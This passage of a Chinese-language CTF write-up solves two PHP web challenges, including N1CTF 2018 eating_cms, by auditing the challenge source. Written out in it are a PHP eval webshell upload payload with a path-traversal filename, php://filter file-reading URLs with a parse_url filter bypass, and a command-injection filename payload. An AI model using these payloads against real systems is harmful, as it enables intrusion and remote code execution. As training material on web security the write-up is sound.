die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
</body>
</html>
简单审计
利用点在这里
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
但是这里的session不能自己伪造,接着看一下
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
有点儿像sql注入,但最后经过尝试后发现并不是
看一下这句话
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
意思是只要result有值我们就可以上传文件了
继续看一下进入sql查询的条件
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
三个条件
1.id存在
2.id的值转为浮点数且不完全等于1
3.假如$a=1,$b=‘1’,$a!=$b不成立但是$a!==$b成立
所以这里绕过很简单,就是1和9之间有字符就行了,比如1-9
,1sas9
,1(9
之后就发现
然后就准备上传文件了,再看一下这段话
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
他会先将文件名拼接到backup目录下,然后进行正则匹配:匹配最后一个点后面的后缀,然后下面的else里面又更改了当前目录。
payload
con=<?php @eval($_POST['shell']);?>&file=../a.php/.
之后蚁剑连接即可
[N1CTF 2018]eating_cms
随便注册登录
伪协议读源码
/user.php?page=php://filter/convert.base64-encode/resource=user
base64解密
user.php
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
没什么有用的,看看function.php
/user.php?page=php://filter/convert.base64-encode/resource=function
function.php
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
echo $sql;
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
有个ffffllllaaaaggg.php
读取
/user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
被过滤了
tips
这里涉及到一个知识点--parse_url解析漏洞
将url改为这样就能读取到了
//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg
ffffllllaaaaggg.php
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}else {
echo "you can find sth in m4aaannngggeee";
}
?>
m4aaannngggeee.php
<?php
if (FLAG_SIG != 1){
die("you can not visit it directly");
}
include "templates/upload.html";
?>
访问templates/upload.html
随便上传一个
有个upllloadddd.php
upllloadddd.php
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
访问m4aaannngggeee页面
注意这里
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."
用filename进行命令执行
过滤了 /
所以payload
filename=;cd ..;cat flag_233333;#